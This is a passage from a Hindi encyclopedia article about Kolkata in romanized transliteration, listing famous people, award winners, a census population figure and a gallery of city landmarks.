Chance-directed, chance-erected, laid and built
On the silt
Palace, byre, hovel – poverty and pride
Side by side
And above the packed and pestilential town
Death looked down. ---Rudyard Kipling

kolakata ke prasiddh vyakti

lekhak / kavi	upanyasakar	alochak aur darshanik	samaj sudharak	svatantrata senani soochi	vaijnanik

rabindranath taigor	viliyam maikapis thakare	e. si. bi. svami prabhupad	raja ram mohan ray	ras bihari bos	jagadish chandr bos
buddhadev bos	taslima nasarin	rajendr prasad	madar teresa	subhash chandr bos	praphull chandr ray
subhash mukhopadhyay	satyajit ray	gayatri chakravarti spivak	keshav chandr sen	badal gupta	si. vi. raman
jibananand das	samaresh majoomadar	sharat chandr chattopadhyay	henari chandr sen	bin aauy basu	ke. es. krishnan
vishnu de	shirashendu mukhopadhyay	qazi nazarul islam	devid hare	vipin chandr pal
joseph imin	divyendu palit	bankim chandr chattopadhyay	alekzendar daf	chittaranjan das	meghanad saha
shakti chattopadhyay	mani shankar mukhopadhyay	bibhuti bhooshan bandopadhyay	eeshvar chandr vidyasagar	jatindr nath das	satyendr nath bos
sunil gangopadhyay	tarashankar bandyopadhyay	shishir kumar mitr	viliyam kere	dinesh gupta	shishir kumar mitr
malay ray chaudhari	pramendr mitr	dinabandhu mitr	moti lal sil	jogesh chandr chattopadhyay	prashant chandr mahanobis
lili chakravarti	saiyad mustafa siraz	maikal madhusoodan datt		bidhan chandr ray	amal kumar ray chaudhari
	ashapoorna devi	dhan gopal mukharji		shyama prasad mukharji	subhash mukhopadhyay
	lila majoomadar	saiyad muzataba ali		ashok kumar sen	je. bi. es. halden
	anita desaee	sharadindu bandyopadhyay
	sanjiv chattopadhyay	pramath chaudhari
	vikram seth	nirad si. chaudhari
	sunil gangopadhyay	svami vivekanand
	upamanyu chatarji
	raj kamal jha
	amita ghosh
	bharati mukharji
	vimal kar
	suketu mehata
	amit chaudhari
	guanthar gras

kolakata se sambandhit udyogapati, raman maigasese evan nobel puraskar vijeta
[[chitr:Mother-Teresa-2.jpg|madar teresa|thumb]]

udyogapati	nobel puraskar vijeta	raman maigasese puraskar vijeta
adity vikram birala	sar ronald r aaus (1902, medisan)	satyajit ray
ram prasad goyanaka (RPG Group)	ravindr nath taigor (1913, sahity)	madar teresa
lakshmi nivas mittal	madar teresa (1979, shaanti)	samaresh majoomadar
puranendu chatarji	amarty sen (1998, arthashastr)	mahashveta devi

janasankhya

2001 ki ganana ke anusar kolakata ki janasankhya 45,80,544 hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

kolakata chitr vithika

• chitr:Rajbhavan-Kolkata-1.jpg

  rajabhavan, kolakata

• chitr:National-Museum-Kolkata.jpg

  rashtriy sangrahalay, kolakata

• chitr:Victoria-Memorial-Kolkata-4.jpg

  viktoriya memoriyal

• chitr:Perspective-View-Fort-William.jpg

  phort viliyam ka ek drishy

• chitr:Kolkata-1.jpg

  chana chat, kolakata

• chitr:View-Calcutta-Esplanade-2.jpg

  esplened se kolakata ka drishy

• chitr:Birla-Temple-Kolkata.jpg

  bi dala mandir

• chitr:Kali-Puja-Kolkata.jpg

  kali pooja, kolakata

• chitr:Parasnath-Jain-Temple-Kolkata.jpg

  parasanath jain mandir

• chitr:Bengali-Sweets.jpg

  bangali mithaee, kolakata

• chitr:Plan-Of-Fort-William.jpg

  phort viliyam ki yojana

• chitr:Dakshineswar-Kali-Temple-Kolkata.jpg

  dakshineshvar kali mandir

• chitr:Chowringhee-Gate-Fort-William.jpg

  chaurangi get phort viliyam

• chitr:Kolkata-2.jpg

  kolakata ke bazar mean tauliyaan

• chitr:Kolkata-taxi.jpg

  taiksi, kolakata

• chitr:Science-City-Kolkata.jpg

  saians siti, kolakata

• chitr:Taxi-Kolkata.jpg

  taiksi, kolakata

• chitr:Kolkata-3.jpg

  phutapath par ek bachcha

• chitr:Banyan-Tree-Kolkata.jpg

  baragad ka pe d

• chitr:Rickshaw-Kolkata.jpg

  hath-chalit riksha

• chitr:Goddess-Durga-Kolkata.jpg

  durga maan ki chhavi, salt lek

• chitr:Map-Of-Fort-William.jpg

  phort viliyam ka manachitr

• chitr:Kali-Picture.jpg

  kali maan ke chitroan ki bikri

• chitr:View-of-Chinsura.jpg

  chinasura ka drishy, bangal

• chitr:Old-Court-House-Kolkata.jpg

  purane kort haus

• chitr:Elephant-Landing-Calcutta.jpg

  ek hathi ko jahaz se bhoomi par utarate hue

• chitr:Golf-Green-Kolkata.jpg

  golf grin, kolakata

• chitr:Howrah-Railway-Station.jpg

  hav da jankshan, kolakata

bahari k diyaan

• kolakata
• kolakata-kolakata aur jab charnak
• Weatherbase
• Calcutta- Not 'The City of Joy'
• UNFOLD WEST BENGAL WITH BLOOM9
• History of Calcutta

link=#top|center|oopar jayean

sanbandhit lekh

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